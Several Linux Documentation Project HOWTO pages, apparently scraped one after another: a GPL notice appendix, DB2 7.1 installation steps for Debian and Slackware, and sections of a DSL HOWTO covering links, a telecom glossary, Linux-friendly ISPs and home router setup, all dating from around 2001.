Copyright (C) yyyy name of author

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this when it starts in an interactive mode:

Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names:

Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.

signature of Ty Coon, 1 April 1989
Ty Coon, President of Vice

This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License.

Prev | Home
GNU General Public License | Up


Installing DB2 on other Linux distributions

DB2 Version 7.1 for Linux HOWTO
Prev Next

5. Installing DB2 on other Linux distributions

DB2 Version 7.1 is distributed as a set of RPM packages. If you want to install DB2 on a distribution that is not officially supported by IBM, and that distribution satisfies all of the prerequisites specified in Section 2, all that you theoretically need to do is find a way to install those packages on your distribution. The alien utility available from Kite converts RPM packages into formats supported by Debian (dpkg), Stampede (slp), and Slackware (slp).

Debian

Susan Williams reported success in installing DB2 Version 7.1 on Debian using the following script as root:

Example 1. Installation script for DB2 Version 7.1 on Debian

#!/bin/bash
cd /
for f in /mnt/cdrom1/db2/*rpm
do
alien -d -i -c $f
done

This script installs every DB2 package on the CD-ROM. In a future iteration of this document I plan to provide a description of all of the DB2 packages to help you develop a more selective approach for your installation.

Christoph Shmitz reports that, while he was able to install DB2 Version 7.1 Personal Developer's Edition on Debian 2.2 using alien as described above, DB2 starts in a time-limited trial mode (90 days). While the use of DB2 Version 7.1 Personal Developer's Edition should be unlimited, alien does not automatically install the DB2 license file.

To remove the time limit on DB2 Version 7.1 Personal Developer's Edition, you need to manually install the license file (s000510.personal/db2/license/db2udbpe.lic in the tar archive) using the following command as root:

bash# db2licm -a db2udbpe.lic

Using alien apparently prevents you from using the db2setup command to create instances. To create a DB2 Administration Server from the command line, issue the /usr/ibmdb2/v7.1/instance/dasicrt command as root. To create a DB2 instance, issue the /usr/ibmdb2/v7.1/instance/db2icrt command as root. To get the correct syntax for either command, use the -h flag.

For further information on installing DB2 on Linux distributions which use the dpkg package manager, see Tiago Antao's page, Agnostic DB2 V7.1 for GNU/Linux.

In the following section, Andika Triwidada describes how to install DB2 on Debian 2.2 using the rpm command. You can check the prerequisite package levels (described in Section 2) installed on your system with the following command:

bash$ dpkg -l|egrep -e '(libc6|libstdc++|pdksh|rpm|zip)'|awk '{print $1,$2,$3}'
The resulting list should contain:

  ii  libc6                 2.1.3-13
  ii  libstdc++2.9-glibc2.1 2.91.66-4
  ii  pdksh                 5.2.14-1
  ii  rpm                   3.0.3-1
  ii  unzip                 5.40-1

If you are missing any of these packages, you can install the package using apt-get:

bash# apt-get install package-name

Installation Steps

  1. Initialize the RPM database.

bash# rpm --initdb

  2. Modifiy several files in /bin

bash# mv /bin/sh /bin/sh.bash
bash# ln -s /usr/bin/ksh /bin/sh
bash# for f in awk basename ksh passwd sort touch; do ln -s /usr/bin/$f /bin/$f; done

  3. Copy the contents of the following script to create an RPM wrapper called /bin/rpm.

#!/bin/sh
# RPM wrapper, force RPM installation without checking any dependencies
if [ "$1" = "-ivh" ]
then
  shift
 /usr/bin/rpm -ivh --nodeps $*
else
 /usr/bin/rpm $*
fi

  4. Make the RPM wrapper executable:

bash# chmod +x /bin/rpm

  5. Install DB2 using the db2setup command by following the instructions in Section 4.

  6. Create the DB2 administration server and at least one DB2 instance as described in Section 6. To simplify testing, ensure that you create the sample database when you create the DB2 instance.

Testing your DB2 installation

  1. Log on to your Linux server with the DB2 instance user ID. Remember, the default user ID is db2inst1.

  2. Prepare your DB2 environment by running the db2profile script:

bash$ cd ~/sqllib
bash$ . ./db2profile

  3. Run a query against the sample database to test your installation.

bash$ db2
bash$ db2 => connect to sample
bash$ db2 => select * from employee
    There should be a printout of records from sample database here

bash$ db2 => quit

After you install DB2

  1. Remove the RPM wrapper script by removing, renaming, or linking it directly to /usr/bin/rpm.

bash# rm /bin/rpm

  2. Change /bin/sh back into a symlink to /usr/bin/bash.

bash# ln -sf /usr/bin/bash /bin/sh

After installing DB2 with alien, Claus Reiner reported that:

While all components of DB/2 were installed, the instance apparently didn't know them and thus couldn't use them. After a lot of sweat going through the configurations, IBM support told me that I should make an instance update which solved it. (The instance could locally and between Unixen do everything, only when trying to connect to AS/400 using DCS it told us 'authentication not supported').

Claus recommends running the following commands as root after installing DB2 with either alien or RPM,

bash# . $INSTANCEHOME/sqllib/db2profile
bash# /usr/IBMdb2/V7.1/instance/db2iupdt -e

Slackware

Thorough information on installing DB2 on Slackware 7.1 using RPM is available from James Phillips' page, Installing DB2 on Slackware Linux.

Prev | Home | Next
Installing DB2 using db2setup |  | Creating DB2 instances


Appendix: Miscellaneous

DSL HOWTO for Linux
Prev Next

8. Appendix: Miscellaneous

8.1. Links

  • Other related documentation from the Linux Documentation Project:

    • Firewall HOWTO

    • Security HOWTO

    • IPCHAINS HOWTO

    • IP Masquerade HOWTO

    • Home Network mini HOWTO

    • Ethernet HOWTO

    • Networking Overview HOWTO

    • Net HOWTO, previously named the NET3-4-HOWTO, the definitive, in-depth guide to various Linux networking topics.

    • Linux 2.4 Advanced Routing HOWTO. All the great features of Linux's sophisticated traffic management capabilities are explained here, including performance enhancing ideas relevant to DSL.

    • DHCP HOWTO

    • VPN HOWTO

    • VPN Masquerading HOWTO

  • More on the 2.4 kernel packet filtering from The Netfilter Project at http://netfilter.samba.org/. Several good HOWTOs for the new features available with 2.4 kernels.

  • Check your security and see what ports are open at http://hackerwhacker.com/. This is one of the better sites for this. Some only test a relatively few ports.

  • SuSE's Linux PPPoE page is at http://www.suse.de/~bk/PPPoE-project.html. Good information on most of the available Linux PPPoE implementations.

  • Bob Carrick's definitive PPPoE site is at http://www.carricksolutions.com/. His Linux PPPoE page is at http://www.carricksolutions.com/linuxpppoe.htm. It has some other DSL related information as well. All OSes are covered.

  • The NTS EnterNet for Linux FAQ can be found at http://http://support.efficient.com/KB/NTS/linux.html. This is a non-GPL'd PPPoE client that is distributed by some ISPs.

  • ATM on Linux: http://linux-atm.sourceforge.net/. Where to find the latest info on PPPoA and raw ATM connections.

  • FreeSwan, http://www.freeswan.org, is an IPSec and IKE VPN implementation for Linux.

  • VPN and Masquerading on Linux: http://www.wolfenet.com/~jhardin/ip_masq_vpn.html

  • PPTP-linux allows you to connect to a PPTP server with Linux. The home page is http://cag.lcs.mit.edu/~cananian/Projects/PPTP/.

  • Justin Beech's http://dslreports.com, a great site for anything and everything related to DSL. If it's not there, then there is a link to it. (Site runs on Linux.)

  • John Navas's Cable and DSL site, http://cable-dsl.home.att.net, has good general info, tweaks, troubleshooting, hardware info, etc. for all OSes.

  • TCP Performance Tuning tips: http://www.psc.edu/networking/perf_tune.html. Tips on Linux, and other OSes.

  • A great Linux security site is http://linuxsecurity.com. Good docs, and references for Linux. Another is http://linux-firewall-tools.com/linux/. Lots of info from Robert L. Ziegler, author of Linux Firewalls. Many links to other security related sites as well.

  • http://www.seifried.org/lasg/, The Linux Administrator's Security Guide by Kurt Seifried. Good tutorials on a variety of topics -- not just firewalls, but the big picture.

  • The Seattle firewall is a packet filtering firewall that can be used on a dedicated masquerading firewall machine (including LRP), a multi-function masquerade gateway/server or on a stand-alone Linux system. The ipchains project is located at http://seawall.sourceforge.net/. And for iptables: http://shorewall.sourceforge.net/.

  • My ipchains script is at http://personal.bellsouth.net/~hburgiss/linux/ipchains.html. This has IP Masquerading already set up, is reasonably well commented, and may make a quick starting point for your own script with only minor adjustments to suit your situation.

  • Here a few pages dedicated to using Linux with specific providers. (I could use some submissions for more please.)

    • Verizon: http://www.panix.com/~dfoster/prog/linux/pppoe.html

    • Southwestern Bell: http://home.swbell.net/sdboyd56/DSL/connect1.html

    • BellSouth: http://personal.bellsouth.net/sdf/h/b/hburgiss/dsl/survival/linux.htm

    • HomeChoice (UK): http://www.maxuk.net/hc/faq.html. (This gets my vote for the strangest ADSL service anywhere.)

    • BT-Internet (UK): http://www.linuxdoc.org/HOWTO/mini/BTI-PPP/index.html This covers both dial-up and ADSL connections.

    • German T-DSL: http://www.datenhighway.com/adsl/

    • France Télécom's Netissimo: http://www.rhapsodyk.net/adsl/HOWTO/. Good information on setting up PPTP with Linux for Alcatel modems.

    • Austrian Highspeed Internetconnection & Linux HOWTO: http://www.members.aon.at/heimo.schoen/at-highspeed-howto.html.

  • Now that you have a full-time connection, want a routable hostname for your computer? Dynamic DNS services can do this, even if your IP changes from time to time. Just a few of the many available services:

    • http://dyndns.org

    • http://tzo.com

    • http://easydns.com

    • http://no-ip.com

    • http://www.microtech.co.gg/dns

  • ADSL Deployment 'round the World Claims to have a complete list - looked accurate for my area - gives providers, prices, speeds, etc.

  • comp.dcom.xdsl FAQ. Actively maintained, and a great technical reference for DSL technologies.

  • comp.dcom.xdsl, DSL discussions, vents, and flames on Usenet. Good place to get technical questions answered that your ISP can't.

8.2. Glossary

A dictionary of some of the jargon used in this Document, and in the telco and DSL industries.

ADSL

Asymmetric Digital Subscriber Loop. "Asymmetric" in that the downstream potential is greater than the upstream. ADSL is capable of sharing on a single POTS wire pair. Maximum speed is 8 Mbps, though typically is limited by the provider to lesser speeds. The most popular DSL at this time.

ANT

ADSL Network Termination (a.k.a. the ADSL modem).

ARP

Address Resolution Protocol. Converts MAC addresses to IP addresses.

ASAM

Alcatel's terminology for a DSLAM.

ATM

Asynchronous Transfer Mode - provides high-speed packet switching from 155 Mbps to (currently) 2Gbps. Used to provide backbone switching for the Internet, and by many telcos since it can carry both voice and data. This is a common transport protocol for many telco DSL networks.

ATMF-25Mbps

ATM Forum Interface - 25Mbps speed, provided by a PCI NIC card. One of the interfaces used between the modem and PC.

brouter

A combination DSL modem that can be configured to act as either a bridge or a router.

CAP

Carrierless Amplitude Phase. A proprietary ADSL line encoding technique, that is (or was) in competition with "DMT". DMT has won the standards battle. CAP and DMT modems are not compatible with each other.

Central Office, or CO

Usually refers to one of two meanings: 1) The local Telco building that houses telephone equipment, and where local loops terminate. 2) The Telco voice switch that provides dial tone. Often referred to as just "CO". Typically, the CO houses one or more DSLAMs that make DSL possible. But, increasingly, DSLAMs are being deployed remotely.

CLEC

Competitive Local Exchange Carrier. "Competitors" to the ILECs. They do not own any lines, and must lease their lines from ILEC in order to provide any service.

CPE

Customer Premises Equipment - The Telco term for customer owned equipment (i.e. the stuff you are responsible for fixing). Examples are analog modems, fax machines, and your telephone.

DHCP

Dynamic Host Configuration Protocol - A protocol used to distribute dynamically assigned IP addresses and other important networking parameters. The DHCP server "leases" an IP from its pool to clients on request. The lease is renewed at regular intervals. This is a common protocol on bridged DSL networks, and cable modem networks.

DMT

Discrete Multitone Technology. This is a line encoding common among ADSL deployments, and now is the standard. Sometimes referred to as "Alcatel compatible". Most telcos in the U.S. are now standardizing on DMT. The other, less common, ADSL encoding is "CAP". CAP and DMT modems are incompatible with each other.

DS0

The basic digital circuit for Telcos - offered at 56 Kbps or 64 Kbps. Can support one analog voice channel.

DSLAM

Digital Subscriber Loop Access Multiplexer - The Telco equipment installed at the CO that concentrates and multiplexes the DSL lines. One end of the copper loop connects to the DSLAM, the other to your modem. The DSLAM is essentially what makes DSL work. Increasingly, smaller devices that perform similar functions, are being deployed in remote locations in order to extend the reach of DSL.

DSL

Digital Subscriber Loop - A term describing a family of DSL services, including ADSL, SDSL, IDSL, RADSL, HDSL, VDSL, SHDSL, etc. that enable high speed Internet connections over standard copper telephone lines. The main limitation is distance.

G.DMT

Synonymous with "full rate" ADSL. Used to distinguish between full rate ADSL, CAP based ADSL and G.Lite. See DSL Family for more.

G.Lite

A lesser version of ADSL that has lower maximum speeds, and requires no splitter or filters. Not DMT compatible. See DSL Family in this HOWTO for more.

HDSL

High bit rate DSL. See DSL Family in this HOWTO for more.

ILEC

Incumbent Local Exchange Carrier. The Regional phone company that physically owns the lines. Examples: Bell Atlantic and Pacific Bell. FCC regulations are forcing the ILECs to open up their networks to independent providers. This is allowing an independents like Covad to offer competitive services. This is a good thing for consumers IMHO.

ILEC

Incumbent Local Exchange Carrier. The Regional phone company that physically owns the lines. Examples: Bell Atlantic and Pacific Bell. FCC regulations are forcing the ILECs to open up their networks to independent providers. This is allowing an independent like Covad to offer competitive services. This is a good thing for consumers IMHO.

Interleaving

Interleaving is a tunable aspect of DMT/ADSL line encoding. It essential controls the 'interleaving' of bits in the transmission, and is used as a form of error correction. As interleaving increases, so does stability of marginal lines. It also increases latency.

IP

Internet Protocol. Also, often used to simply refer to an IP address.

ISP

Internet Service Provider. Even full-time connections require an ISP to provide basic Internet services and connectivity.

LAN

Local Area Network. A network of computers that are segregated from the WAN (Wide Area Network, i.e. the Internet). Often using private, non-routable IP addressing, e.g. 192.168.1.1 or 10.0.0.1.

LCP

Link Control Protocol, one of the sub-protocols used by PPP, and derivative protocols like PPPoE. As the name sounds, it used by both the client and server to determine if the connection is viable. Either end may terminate the session if LCP indicates the connection is not responsive.

Loop

The two wire twisted pair from the telco Central Office that terminates at a customer location. For DSL, a "clean" copper loop within the distance limitations is required.

MAC Address

Media Access Control Address. Sometimes also called "hardware" address, it is a unique identifier of network devices and is an important aspect of some network environments.

mini-RAM

Remote Access Multiplexer, a mini DSLAM. Typically with very few connections -- eight is common. Used for remote areas too far from a CO.

MTU

Maximum Transmission Unit, the largest packet size, measured in bytes, that a network can transmit. Any packets larger than the MTU are divided into smaller packets, or "fragmented", before being transmitted.

NAT

Network Address Translation is a means of allowing computers on a LAN to access the WAN while "masquerading" with the IP address of a host with a suitable address and configuration. With Linux this is called "ip-masquerading". Often used to share one public, routable IP address among hosts located on a LAN behind a masquerading proxy where the local addresses are private and non-routable.

NID

Network Interface Device - The telco housing on the side of your house. Typically where the telco's responsibility ends, and the owner's begins. Also, sometimes called the "SNI", "TNI" or "ONI" or other descriptive acronyms.

NIC

Network Interface Card - An internal PC card that supports the required network interface. Often an ethernet 10/100baseT or an ATMF-25Mbps card in this context.

NSP

Network Service Provider. An ISP's upstream provider or backbone provider.

OC-3

A fiber optic line capable of 155 Mbps.

POTS

Plain Old Telephone Service - The service that provides a single analog voice line (i.e. a traditional phone line).

PPPoA (PPPoATM)

Point-to-Point Protocol over ATM (RFC 2364) is one of the PPP protocols being used by some DSL providers. This is really a device specific driver, and in many respects quite different from PPPoE. A hardware device, i.e. a combination modem/router, is one alternative if this is the only option available to you.

PPPoE

Point-to-Point Protocol over Ethernet (RFC 2516). Another PPP protocol in use by providers. This one is more common, and there are several Linux clients available. See the Links section for more. Not to be confused with PPPoA (PPPoATM) since there are fundamental differences.

PPPoX

Used to refer to PPPoE and PPPoA collectively.

RADSL

Rate Adaptive DSL. See DSL Family in this HOWTO for more.

RBOC

Regional Bell Operating Company. The "Baby Bells". The U.S. phone companies that have had a state sponsored monopoly since the break up of AT&T.

RFI

Radio Frequency Interference. DSL is susceptible to RFI if in the right frequency range, and if close enough to the DSL signal. This can disrupt and consequently degrade the DSL signal. Unfortunately, DSL seems to operate in the frequency range of quite a few potential disrupting influences.

RWIN

Shorthand for 'Receive Window', aka the TCP Receive Window, a tunable aspect of TCP network stacks.

SDSL

Single Line DSL. Or, sometimes also "Symmetric DSL". See DSL Family for more.

SNI

Subscriber Network Interface - The Telco term for the phone wiring housing on the side of your house. It designates the point between the Telco side and the Inside Wire. This is also called the Demarcation Point. Sometimes called a "NID" also.

Splitter

The passive device (low-pass filter) at or near the NID that splits the DSL signal into separate voice and data channels. Filtering is required for most DSLs that share a POTS line.

Splitterless

A DSL installation that does not require a splitter. For higher speeds, a RJ11 filter (sometimes called microfilters) is placed on every extension phone jack where an analog phone or other non-DSL device is used, thus filtering the DSL signal at the jack, rather than at the NID. For lower speeds, no filter is necessary. Without a filter or splitter, the DSL signal tends to cause audible interference on voice phones. G.Lite needs no splitter, nor filter, but this is the exception to the rule.

SOHO

Small Office HOme

Sync Rate

The speed as negotiated by the DSL modem and the telco's DSLAM. This represents the theoretical maximum speed of the connection before any networking protocol overhead is taken into account. Real world throughput is always something less than the modem's sync rate.

T-DSL

German Telekom's ADSL implementation. See DSL Family for more.

T1

a.k.a DS1 - A digital dedicated line at 1.544 Mbps comprised of 24 channels, used for both voice (24 DS0s) and data.

T3

a.k.a DS3 - T1's big brother, a digital dedicated line at 44.736 Mbps, used for both voice (672 DS0s or 28 DS1s) and data.

VPI/VCI

VPI is "Virtual PATH Identifier" and is part of an ATM cell header. VCI is "Virtual Circuit Identifier", also part of an ATM cell header which contains circuit information. Technically speaking, these are really remote VPI and VCI (RVPI, RVCI). They are both important configuration aspects for modems and routers attached to ATM networks. They must match what the provider is using. Frequently used VPI/VCI pairs include 0/32, 0/35 and 8/35.

VDSL

Very high bit rate DSL. See DSL Family for more.

VoD

Video on Demand.

VoDSL

Voice over DSL.

WAN

Wide Area Network, a large publicly accessible network. For example, the Internet.

xDSL

Used to refer to the entire DSL family of related technologies: ADSL, SDSL, IDSL, etc.

8.3. Other Consumer Class High Speed Services

8.3.1. Cable Modem vs DSL

The Telcos see DSL as a competitor to the Cable Company's Cable Modem, and as such, are providing competitive pricing and configuration offerings. Although Cable Modems are advertised as having 10-30Mbps potential bandwidth, they use a shared transmission medium with many other users on the same line, and therefore performance may vary, sometimes greatly, with the amount of traffic, time of day, and number of other users on the same node. But YMMV.

It is often heard that DSL has an advantage in that it is a private pipe to the Internet, with dedicated bandwidth. This is mostly a myth. You do have a private pipe to the DSLAM, but at that point, you enter the telco's ATM (or frame relay) network, and start sharing bandwidth. You are at the mercy of how well your DSL provider and ISP manage their networks. The consensus seems to be that DSL providers and ISPs are mostly doing a better job of managing bandwidth than the Cable companies. It is easier for them to add and adjust bandwidth as needed to meet demand. You are less likely to have speed fluctuations due to other users being on line at the same time. But, again, this gets down to how well the specific network and bandwidth are managed.

DSL probably has a small security advantage too. With most Cable modem networks, it is like being on a big LAN. You are sharing your connection (and bandwidth) right at the point of connection. But if you are not doing something to filter incoming connections already, you are asking for trouble either way.

There also seems to be a better chance of having ISP alternatives with DSL than Cable. At least, in the U.S. this is true. Choice is a good thing, and so is competition. It seems most Cable outfits give you just one choice for an ISP. If you don't like it, you are out of luck. The number of options with DSL probably varies greatly by geographic areas. Populous areas, like Northeast U.S., seem to have many options.

So which is better? The differences aren't as much with the technology, as they are with the implementations. If you look around, you can find plenty of horror stories on either. And plenty of happy customers too. The way to know what may be the best for you, is to do comparative shopping based on experiences of other users in your area. Don't base your choice on one person's opinion. This is statistically invalid. Likewise, don't base your choice on someone's opinion who has had a particular service for only a short time. Again, statistically not worth much. Get as many opinions from those that are using the exact same services that you are looking at.

8.3.2. Fiber in the Loop (IFITL or FTTC, and FTTH)

In some areas, newer neighborhoods are being built with fiber optic cable instead of the traditional telco copper lines. While the fiber is a definite problem for DSL services, it has it's own potential advantages. Existing fiber is potentially capable of 100 Mbps, and it looks like this could easily go up soon.

So while telco fiber customers are being shut out of the DSL market (since DSL is a copper only technology), they may have much to look forward to. Technologies are under development, and in some cases just now being deployed, to take advantage of fiber telco phone loops. Known as "FTTC" (Fiber To The Curb), or "IFITL" (Integrated Fiber In The Loop), this technology is another high speed service that telcos can offer. The speeds are sufficient for VoD (Video on Demand) and VoDSL (Voice over DSL), and other high bandwidth services. One nice advantage here is, that since there is no DSL signal on the wire, the only required CPE is a network card. In other words, no modem -- just connect a NIC to the wall jack and off you go! This will also allow the telco to provide other digital services such digital TV.

FTTC is Fiber To The Curb. The last leg into the house is still copper. FTTH (Fiber To The Home), on the other hand, is an all fiber loop with even higher potential.

8.3.3. Wireless

There is a lot of buzz about wireless technologies these days. Wireless would certainly seem to have a place in the broadband market, especially for areas that don't have ready access to cable or telco networks. There are still some inherent problems with the current state of this technology that may prevent it from becoming a major player in the near term however. Weather can still impact the wireless signal -- heavy cloud cover or rain for instance. Also, there is some pretty hefty latency if the uplink is via satellite. Surely these drawbacks will improve over time. But how soon?

8.4. Compatible Modems

This list is limited to those modems and delivery systems that are readily available, and should work with any current Linux distribution without having to go to extraordinary lengths. Alpha and Beta projects are not included.

Ethernet Interface

  • All external, ethernet based modems, and modem combination devices, will work (provided they match the provider's DSL). The only requirement is a compatible ethernet network card. This is the preferred way to go.

PCI (Internal)

  • Xpeed X200 IDSL http://www.xpeed.com/Products/x200/x200_c.html (as of kernel 2.2.18)

  • Xpeed X300 SDSL http://www.xpeed.com/Products/x300/x300_c.html (as of kernel 2.2.18)

USB

  • Alcatel SpeedTouch USB (ADSL): http://www.alcatel.com/consumer/dsl/supuser.htm#driver. The driver is kernel module and requires a 2.4 kernel. See the Appendix.

8.5. Linux Friendly DSL ISPs

By "friendly" we mean ISPs that don't put up any unnecessary impediments just because you aren't running that other guy's OS. And yes, there is some of that going around. If your choices are limited, and you are forced to deal with one of these, then having a Windows box available temporarily is one work around. Another, may be to sweet talk the installer into letting you finish the installation (NIC, etc). Of course, self installation, if available, should be completely "Linux compatible".

So to make this list, the ISP/provider must make available some type of workable modem (ethernet interface at this point in time), nor should they penalize you, or make things difficult, just because you are running an alternate OS. Installing directly onto Linux should be an available option, and should not cause you any undue hardship. Technical support for Linux is a nice bonus, but not necessary to make the list. Please do not take these as recommendations, do your own homework. Also, this market is in a constant state of flux, so use this as a starting point only!

To add a name to this list, mail Linux Friendly. Please included ISP's official name, URL (if not obvious), location and coverage area, modem type, server policy, and any other pertinent details.

National ISPs (U.S.):

  • Speakeasy.net: Static IP and no PPPoX, servers explicitly allowed. Highly rated. National. Multiple IPs available.

  • DirectTV DSL (formerly Telocity): Static IP, no PPPoX, liberal server policy. Reports of poor tech support. National. They have their own proprietary modem, but it is ethernet based.

  • Penguinista DSL, DSL with a twist. Not just Linux friendly, but Linux lovers. Sponsored by the Benevolent Penguin Society. National. Static IP available. "Theoretical" timeouts and session limits though. Encapsulation protocol (PPP?) unknown. ???

Regional and Local ISPs (North America):

  • qx.net, Lexington, Ky., and areas of Central and Eastern KY. Officially supports Linux. Static IP. Personal servers allowed. Tiered pricing plans. Highly rated.

  • Commonwealth Technical Services, Richmond, Va. Officially, and happily support Linux. Static IP. Personal servers allowed. No bandwidth restrictions. This ISP runs on Linux!

  • ExecDSL, Baltimore, MD, Washington, DC and surrounding areas. Static IP. Servers are OK. Various plans and DSL providers. Secondary MX and DNS available (nice touch!). (Apparently no official Linux support.)

  • Netexpress.net, Moline, Ill. Tiered pricing. Static IP available. Apparently, no official support. Runs on Linux!

  • iglou.com, Lexington and Louisville, Ky, Cincinnati, OH, and maybe Nashville, TN. Static IP available. Personal servers allowed. Tiered pricing plans with various options.

  • Bluegrass.net, Lexington, Ky., and surrounding areas. Static IP. Personal servers allowed. Tiered pricing plans. Business class DSL only is available in Louisville, Ky.

  • Netsync.net, Chautauqua County, NY (Fredonia, Jamestown, and surrounding areas). Static IP available, PPPoA, servers are OK. Linux is supported!

  • Aracnet, greater Seattle, WA., and Portland and Salem, OR. areas. Static IP. Linux friendly! Tiered pricing. Shell access account is included (RH)!

  • Drizzle.com, greater Seattle, WA area. Static IP, servers OK.

  • Blarg! Online Services, Inc., greater Seattle, WA. area. Static or dynamic IP, PPPoA or Bridged connection. Personal servers allowed (no DNS or mail). Runs on Linux, and supports Linux!

  • ReedMedia.net, Portland (Oregon) and surrounding areas; and surrounding areas of the following: Vancouver, Olympia, Tacoma, Seattle, Everett, Mt. Vernon, Bellingham (Washington). Various modem options, static IP available, personal servers are allowed.

  • MM Internet, Southern California. Static IP, personal servers allowed, and secondary MX and DNS (nice!).

  • Arrival.com, Central California. SDSL, servers allowed.

  • DSLExtreme.com, greater Los Angeles area. Static IP, personal servers allowed.

  • Bell Canada's Sympatico High Speed Edition. PPPoE.

  • istop.com, The Internet Stop, with coverage of Montreal, Ottawa and Toronto. Linux support is available for both pppoed and rp-pppoe! Static IP, and open server policy.

  • Bell Canada's Sympatico High Speed Edition. PPPoE.

  • http://www.vic.com/, Virtual Interactive Center, Knoxville, TN and surrounding areas. Bridged connection (no PPP), static IP available (additional cost), personal servers are allowed, and runs on Linux.

European ISPs:

  • Easynet Belgium. Linux is officially supported (Roaring Penguin). Dynamic IP.

  • BaByXL Broadband DSL, the Netherlands. Linux is supported on Bridged/DHCP connections.

  • Demon Internet, United Kingdom. Linux has limited supported with various pricing plans and static IP available.

  • Q-DSL, www.q-dsl.de, Germany. Static IP available, help for Linux installations. Check website for availability.

  • Tiscali ADSL, Italy.

Other:

  • iPrimus Pty Ltd, Sydney and Melbourne, Australia metro areas. Static IP, and multiple IPs available.

8.6. Setting up Linux as a Router

Depending on your local setup, you should consider some other issues. These include a firewall setup, and any associated configurations. For my setup, shown in Figure 5 below, I use an old i486 machine configured as a firewall/router between the DSL connection and the rest of my home network. I use private IP addresses on my private LAN subnet, and have configured my router to provide IP Masquerading and Firewalling between the LAN and WAN connections.

See the IP Masquerade HOWTO , and Firewall HOWTO for more information. For 2.4 kernels see the Linux 2.4 Advanced Routing HOWTO. My experience is that Linux is more flexible and provides superior routing/firewalling performance. It is much less expensive than a commercial router -- if you find an old 486 machine that you may be using as a doorstop somewhere. There any number of brands of "DSL/Cable" routers on the market as well. These might be the way to go for pure ease of use, but lack the sophistication of what Linux can do.

Figure 5: A typical SOHO Network Setup

 <--Private Subnet/LAN-> Linux <-----ISP's Public Subnet----><--inet-->
      192.168.1.0

 X--+   --------
    |   |      |        --------      (eth0:0)---------
    +--=| Hub/ |       | Linux  |     +------=|  DSL  |=-DSL-> ISP's
 X-----=|Switch|=-----=| System |=----+       | Modem |       Gateway
    +--=|      |  eth1 |(Router)| eth0        ---------
    |   --------    |   --------    |
 X--+               |   IP_Masq     |
                    |  IP_Firewall  |
   |                |    Gateway    |
   |                |               |
   |                V               V
   V           192.168.1.1         Dynamic or
 192.168.1.x   LAN Gateway         Static IP
LAN Addresses  IP Address          from ISP pool

What I did is setup a Linux router (Redhat Linux 5.0 on a i486) with two ethernet interfaces. One interface routes to the ISP subnet/gateway (eth0 in above example), and the other interface (eth1 above) goes to a hub (or switch) and then connects the LAN with private network addresses (e.g. 192.168.1.x). Using the private network addresses behind your router/firewall allows some additional security because it is not directly addressable from outside. You have to explicitly masquerade your private addresses in order to connect to the Internet from the LAN. The LAN hosts will access the Internet via the second NIC (eth1) in the Linux router. Just set their gateway to the IP address of the second NIC, and assign them addresses on the same network.

Caution Make sure your kernel is complied with IP forwarding and the IP forwarding is turned on. You can check this with 'cat /proc/sys/net/ipv4/ip_forward'. The value is "1" for on, and "0" for off. You can change this value by echoing the desired value into this file:

 # echo 1 > /proc/sys/net/ipv4/ip_forward

You will also need to set up "IP Masquerading" on the Linux router. Depending on your kernel version, this is done with ipfwadm (2.0), ipchains (2.2), or iptables (2.4). See the documentation for specifics on each. AND -- do not forget to have that firewall set up too!

There are also several projects that are devoted specifically to using Linux as a router, just for this type of situation. These are all-in-one solutions, that include security and various other features. Installation and configuration, is reportedly very easy. And these will run on very minimal hardware -- like a floppy drive only. The best known is http://www.linuxrouter.org. You might also want to look at http://www.freesco.org and http://www.coyotelinux.com. There is also http://www.clarkconnect.org/index.html, which is a similar concept but designed to be monitored and configured with a set of Windows based utilities.

Prev | Home | Next
Appendix: FAQ |  | Appendix: The Alcatel SpeedTouch USB ADSL Modem


Configuring Linux

DSL HOWTO for Linux
Prev Next

3. Configuring Linux

After you have connected the modem and it's getting sync, then you're ready to configure Linux and verify your connection to your ISP. Although I will refer to a Linux System, you could conceivably connect any type of 10baseT device to the modem. This includes a router, hub, switch, PC, or any other system that you wish to use. We'll just cover the Linux aspects here.

Warning

Before you connect to your ISP, make sure you understand all security issues of having a direct connection to the Internet via DSL. Depending on your ISP, most outside users can access your system, and you should setup any firewalls, deactivate ports/services, and setup any passwords prior to connecting your machine to the world. See the Security section below, and the links section for more on this very important topic. Do not make this an afterthought! Be ready.

3.1. Bridged vs PPPoX Networks

Before we get too far into the final stages of installing and configuring our system, let's look at how various DSL ISPs set up their networks. It will be very important for you to know how your ISP does this, as there is more than one possibility and the steps involved are quite different for each. This may not be the kind of thing the ISP is advertising, and since you are not using Windows, you may not have access to the setup disk that the ISP provides. If you're not sure, ask the ISP's tech support staff, or other users.

To muddy the waters even more, some ISPs may be offering more than one kind of service (over and above the various bit rate plans). Example: Verizon (formerly Bell Atlantic) originally offered static IPs with a Bridged connection. Now all new installs use PPPoE with dynamic IPs. For installation and configuration purposes, this is very different.

The two most common DSL network implementations are Bridged/DHCP and PPPoX. Both have mechanisms for obtaining an IP address and other related networking configuration details so we shouldn't have to worry about this. But there are indeed other, less common, means of connecting. Our job will be finding the right client, and doing what we have to, to get it up and running. The most common ones are discussed below.

